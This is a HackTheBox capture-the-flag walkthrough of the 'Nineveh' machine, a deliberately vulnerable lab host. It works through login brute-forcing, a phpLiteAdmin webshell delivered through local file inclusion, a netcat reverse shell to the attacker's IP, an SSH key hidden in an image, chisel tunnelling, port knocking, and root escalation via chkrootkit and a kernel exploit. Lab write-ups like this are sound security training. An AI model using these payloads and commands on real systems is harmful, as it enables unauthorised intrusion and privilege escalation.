HackTheBox: Nineveh
linux password-cracking lfi phpliteadmin rce strings port-knocking chkrootkit// Lessons Learned
- scheduled binaries should be assessed the same as server binaries, including checking for vulnerabilities in the specific version in use.
- if build tools such as make & gcc are not available on the target, identify the target o/s and use a compatible docker image for compiling any exploits.
// Recon
~/HTB/boxes/nineveh nmap -A -p- nineveh.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-02 15:46 AEST
Nmap scan report for nineveh.htb (10.10.10.43)
Host is up (0.036s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
443/tcp open ssl/http Apache httpd 2.4.18
|_http-title: Site doesn't have a title (text/html).
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.18 (Ubuntu)
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Not valid before: 2017-07-01T15:03:30
|_Not valid after: 2018-07-01T15:03:30
| tls-alpn:
|_ http/1.1
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 134.87 seconds
Nmap reveals the target is likely running Ubuntu Linux, with only two ports publicly accessible (both via Apache 2.4.18):
- http on port
80
- https on port
443
Accessing the two ports via browser returns two different sites, on port 80 there is the default post-installation Apache page:
While port 443 returns a page hosting a single image:
Starting with the HTTP site, feroxbuster discovers an info.php
page and three directories (two of which are simply for storage of web assets):
200 GET 5l 25w 178c http://nineveh.htb/index.html
200 GET 977l 5005w 0c http://nineveh.htb/info.php
...
301 GET 9l 28w 315c http://nineveh.htb/department => http://nineveh.htb/department/
301 GET 9l 28w 319c http://nineveh.htb/department/css => http://nineveh.htb/department/css/
301 GET 9l 28w 321c http://nineveh.htb/department/files => http://nineveh.htb/department/files/
info.php
is configured to execute phpinfo, a debugging function that outputs a lot of server & php-related settings. Browsing to /department
redirects to /department/login.php
, which contains a basic login page:
In the source of this page is a developer comment, which suggests the page is yet to be “fixed”, without revealing exactly why or how:
<!-- @admin! MySQL is been installed.. please fix the login page! ~amrois -->
There isn’t any indication of a software package or framework being used, but trying some obvious / default-type logins (admin / admin
, admin / password
etc.) reveals that username enumeration is possible thanks to the variation in error message. Entering an invalid username generates this error:
While entering a valid username returns a different error:
This kind of information leakage makes brute-forcing logins much easier - if it turns out that is required.
Moving over to the HTTPS server, feroxbuster again identifies more content in the form of a /db
directory:
301 GET 9l 28w 309c https://nineveh.htb/db => https://nineveh.htb/db/
Accessing this page returns a login page for phpLiteAdmin, a lightweight tool for administering sqlite databases via the web:
The default password for this software is admin
, but in this case it doesn’t let us in. Exploit-db indicates that this version, 1.9
, is vulnerable to a remote code execution vulnerability, but only once authenticated =\
With no other content seemingly available, brute-forcing the logins seems like a sensible step. Burp Intruder is a reasonable choice for this, and since we already know admin
is a valid username for the HTTP site, starting with that server also makes sense. Typically brute-forcing challenges in CTFs don’t require massively long wordlists to succeed, so the top 200 of 2020 from SecLists is a good place to start. Watching the Intruder logs as each password is attempted reveals a change in response code and size when 1q2w3e4r5t
is tried:
Running a similar attack against the HTTPS server reveals a change in response size when password123
is attempted:
With both logins cracked we can now login to each site. The HTTP site hosts only one page of meaningful content:
The notes=files/ninevehNotes.txt
parameter suggests the server could be vulnerable to local file inclusion (LFI), allowing us to potentially access any content on the server that is readable by the webserver user. This will likely be required to take advantage of the RCE exploit on the HTTPS server, which requires LFI to fully execute.
After logging into the HTTPS server, stepping through the steps of the RCE exploit is straightforward. In essence, a sqlite database is created with a .php
extension rather than .sqlite
(e.g. hack.php
) and a field is added with a default value that will execute out supplied code (<?php system($_GET["cmd"])?>
). The interface indicates the file will be stored in /var/tmp
, meaning that once it has been created we can use the LFI available via the HTTP site to access the file and execute the code. One additional constraint is that the manage.php
file seems to only accept the notes
parameters if it includes ninevehNotes
in the value. There are various ways around this - we could use a value of file=files/ninevehNotes.txt/../../../../../../../var/tmp/hack.php
, or we could instead just rename the database to ninevehNotes.php
and access it as ../../../tmp/ninevehNotes.php
. Either way, with a netcat listener running we can send a request to open a connection (note the OpenBSD-style netcat syntax, which does not support -e
):
http://nineveh.htb/manage.php?notes=../../../tmp/ninevehNotes.php?cmd=mkfifo /tmp/lol; nc 10.10.14.6 443 0</tmp/lol | /bin/sh -i 2>&1 | tee /tmp/lol
and we can catch a reverse-shell from the target, as the www-data
user:
$. sudo nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.43] 58526
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Typically at this point the user.txt
flag is accessible, but on this machine it is configured to be read-only by the amrois
user. Digging around the filesystem for information related to this user reveals something interesting in an image hosted by the HTTPS server:
$. cd /var && grep -ri amrois ./*
...
Binary file ./www/ssl/secure_notes/nineveh.png matches
Running strings
against this file confirms it has additional data hidden within:
$. strings /var/www/ssl/secure_notes/nineveh.png
...
www-data
www-data
-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----
secret/nineveh.pub
0000644
0000041
0000041
00000000620
13126060277
014541
ustar
www-data
www-data
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuL0RQPtvCpuYSwSkh5OvYoY//CTxgBHRniaa8c0ndR+wCGkgf38HPVpsVuu3Xq8fr+N3ybS6uD8Sbt38Umdyk+IgfzUlsnSnJMG8gAY0rs+FpBdQ91P3LTEQQfRqlsmS6Sc/gUflmur
SeGgNNrZbFcNxJLWd238zyv55MfHVtXOeUEbkVCrX/CYHrlzxt2zm0ROVpyv/Xk5+/UDaP68h2CDE2CbwDfjFmI/9ZXv7uaGC9ycjeirC/EIj5UaFBmGhX092Pj4PiXTbdRv0rIabjS2KcJd4+wx1jgo4tNH/P6iPixBNf7/X/FyXrUsAN
xiTRLDjZs5v7IETJzVNOrU0R amrois@nineveh.htb
An ssh private key for amrois
is present, and checking the server’s open ports via netstat -antup
confirms ssh is listening for all interfaces on port 22
, a service that was not picked up via the initial nmap scan. On the assumption that this port has been firewalled of, we can make use of chisel, which allows tunnelling over HTTP. As per the docs, we we start the server-side listener on our attack box, listening on port 7777
:
./chisel server -p 7777 --reverse
and then establish a tunnel from the client, making port 22
on the target accessible from 7778
on the attack box:
/tmp/chisel client 10.10.14.85:7777 R:7778:127.0.0.1:22
With the tunnel running, we can now ssh to the target using the discovered private key saves to id_rsa
, and obtain the user.txt
flag:
~/HTB/boxes/nineveh ssh amrois@localhost -p 7778 -i id_rsa
amrois@nineveh:~$ cat user.txt
34810e8*************************
Further exploration of the system later on revealed that knockd
, a port knocking daemon was running. This services requires a packet to be sent to a series of ports, akin to a safe combination, before a service can be unlocked. The amrois
user has an email from root in /var/spool/mail
which provides the combination:
You have mail.
Last login: Mon Jul 3 00:19:59 2017 from 192.168.0.14
amrois@nineveh:~$ cat /var/spool/mail/amrois
From root@nineveh.htb Fri Jun 23 14:04:19 2017
Return-Path: <root@nineveh.htb>
X-Original-To: amrois
Delivered-To: amrois@nineveh.htb
Received: by nineveh.htb (Postfix, from userid 1000)
id D289B2E3587; Fri, 23 Jun 2017 14:04:19 -0500 (CDT)
To: amrois@nineveh.htb
From: root@nineveh.htb
Subject: Another Important note!
Message-Id: <20170623190419.D289B2E3587@nineveh.htb>
Date: Fri, 23 Jun 2017 14:04:19 -0500 (CDT)
Amrois! please knock the door next time! 571 290 911
Netcat can be used to execute the knocking sequence, which then permits traffic to port 22
, removing the need for the chisel tunnel:
$. nc -w 1 -zv nineveh.htb 571; nc -w 1 -zv nineveh.htb 290; nc -w 1 -zv nineveh.htb 911
ssh amrois@nineveh.htb -i id_rsa
amrois@nineveh:~$
// Privilege Escalation
Beginning with manual enumeration we can quickly determine there is no sudo-based path to root, no setuid binaries that can be exploited and so on. Uploading and running pspy reveals a script at /root/vulnScan.sh
executing periodically, likely via a root user cron.
...
2022/12/06 20:17:01 CMD: UID=0 PID=16103 | /bin/sh -c /root/vulnScan.sh
...
The pspy output reveals the script is running chkrootkit, a tool designed to scan a system for local rootkits. The version installed, 0.49
, is known to be vulnerable to a local privilege escalation, thanks to a syntax error in one of the internal checks. All that is required is to create an executable file at /tmp/update
, a directory that is writable by our user. In this case, we can add a simple script to create a setuid version of bash in our home directory:
#!/bin/bash
cp /bin/bash /home/amrois/bash && chmod 4755 /home/amrois/bash
And after a short period of time, a new shell is created. Running it with -p
flag to preserve the effective user id grants us root access, and we can grab the root flag from the usual location:
amrois@nineveh:~$ ./bash -p
bash-4.3# whoami
root
bash-4.3# cat /root/root.txt
3cf2df53482373f2f4da913a23ce4b55
Modern-Day Shortcuts
As this box was released in 2017, it is now vulnerable to a number of other exploits, including the Ubuntu 16.04.4 kernel privesc, BPF Sign Extention privilege escalation, and the more recent pwnkit exploit. The target does have compile tools installed (make, gcc etc.) so these exploits need to be built offline, and then synced to the target. Once uploaded, they easily achieve root:
# locally build the and upload the Ubuntu 16.04.4 kernel privesc exploit as 44298
gcc -o 44298 44298.c
curl http://10...
# execute on the target
amrois@nineveh:/tmp$ ./44298
task_struct = ffff880037f9d400
uidptr = ffff88003416fa84
spawning root shell
root@nineveh:/tmp# whoami
root